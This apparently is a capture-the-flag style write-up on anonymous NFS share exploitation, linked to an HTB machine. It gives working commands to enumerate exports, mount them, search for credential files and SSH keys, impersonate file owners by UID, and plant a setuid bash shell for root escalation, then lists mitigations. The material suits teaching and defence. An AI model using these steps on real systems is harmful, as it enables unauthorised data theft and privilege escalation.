đź§  NFS - Anonymous Share Mounting

What is it?

  • Concept: NFS exports are advertised by the mountd service and, unlike SMB, the protocol has no user authentication at all. Access control is a per-export list of client addresses in /etc/exports, and identity is a raw numeric UID/GID that the client asserts about itself. An export whose client list is * is therefore readable by anyone who can route to port 2049 — no credential, no session, no login.
  • Impact: Anonymous read of whatever the export contains. In practice that is onboarding packs, backups, home directories, and configuration files — i.e. a credential source. With no_root_squash it escalates further into arbitrary file write as root on the exported filesystem, which is a local privilege-escalation primitive.

How it works

  1. rpcbind (111) answers “which port is service X on”; mountd and nfsd register there. An Nmap rpcinfo block listing 100003 (nfs) and 100005 (mountd) is the tell.
  2. showmount -e queries mountd directly for the export list. The third column of /etc/exports is the client spec — * means every host, and that is what makes the share anonymous.
  3. The client mounts the export and the kernel begins sending requests tagged with the local UID/GID. The server does not verify them; it just compares the numbers against the file’s owner. Two different machines both calling a user 1000 are, to NFS, the same person.
  4. root_squash (the default) is the one guardrail: requests arriving as UID 0 are downgraded to nobody. It is a mapping rule, not an authentication check, and no_root_squash disables it entirely.

Exploitation

Prerequisites

  • Network reachability to 111 (rpcbind) and 2049 (nfs)
  • An export whose client list is * or includes your address

Attack Vectors

# 1. Confirm the RPC services are live
rpcinfo -p $TARGET_IP
 
# 2. List the exports — the "*" column is the whole finding
showmount -e $TARGET_IP
 
# 3. Mount it. vers=3 avoids the NFSv4 idmapping/domain negotiation that
#    often makes an otherwise-open share look empty or permission-denied.
sudo mkdir -p /mnt/target
sudo mount -t nfs $TARGET_IP:/srv/nfs/share /mnt/target -o vers=3
 
# 4. Loot it — documents first, they are where the credentials live
ls -lan /mnt/target
find /mnt/target -type f \( -iname '*.pdf' -o -iname '*.doc*' -o -iname '*.xls*' \
  -o -iname '*.txt' -o -iname '*.conf' -o -iname 'id_*' \) 2>/dev/null
 
# 5. Clean up
sudo umount /mnt/target
# UID impersonation — the file is owned by UID 1004 and mode 0600?
# Become UID 1004 locally and the server will hand it over.
sudo useradd -u 1004 borrowed
sudo -u borrowed cat /mnt/target/private/notes.txt
# no_root_squash -> local root. Plant a setuid shell from the client as root,
# then execute it from a low-privilege shell on the target.
sudo cp /bin/bash /mnt/target/rootbash
sudo chmod +sx /mnt/target/rootbash
# on the target, in the exported directory:
./rootbash -p

Notes

  • Use ls -lan rather than ls -l. Numeric IDs are the truth here — the client resolves names against its own /etc/passwd, so a pretty username in the listing is meaningless and actively misleading.
  • If a mount succeeds but every file is permission denied, the cause is almost always UID mismatch, not a failed exploit. Read the numeric owner and match it.
  • -o vers=3 is the pragmatic default when enumerating. NFSv4 folds mountd into the main protocol and applies nobody:nobody idmapping when the client and server disagree on an NFSv4 domain, which hides ownership you need.
  • showmount returning nothing does not prove there are no exports — mountd can be firewalled while 2049 is still open. If you can guess or read the export path, mount it directly.
  • Exports are frequently sized for a task (“onboarding”, “backups”, “transfer”) and then never revisited, which is why the contents are so reliably credential-bearing.

Mitigation

  • Fix: Never use * in the client column of /etc/exports — scope every export to specific hosts or subnets, and pair that with a firewall on 111/2049, since the client spec is trivially defeated by address spoofing on a flat network.
  • Keep root_squash on, add all_squash with an explicit anonuid/anongid for anything genuinely public, and mount data exports noexec,nosuid.
  • Prefer NFSv4 with sec=krb5p, which replaces “the client asserts a UID” with real Kerberos authentication and encrypts the traffic.
  • Treat an NFS export as a published document: never place credentials, key material, or onboarding packs on one.
FileCreated
HTB Machine - EnigmaSeptember 07, 2026

References: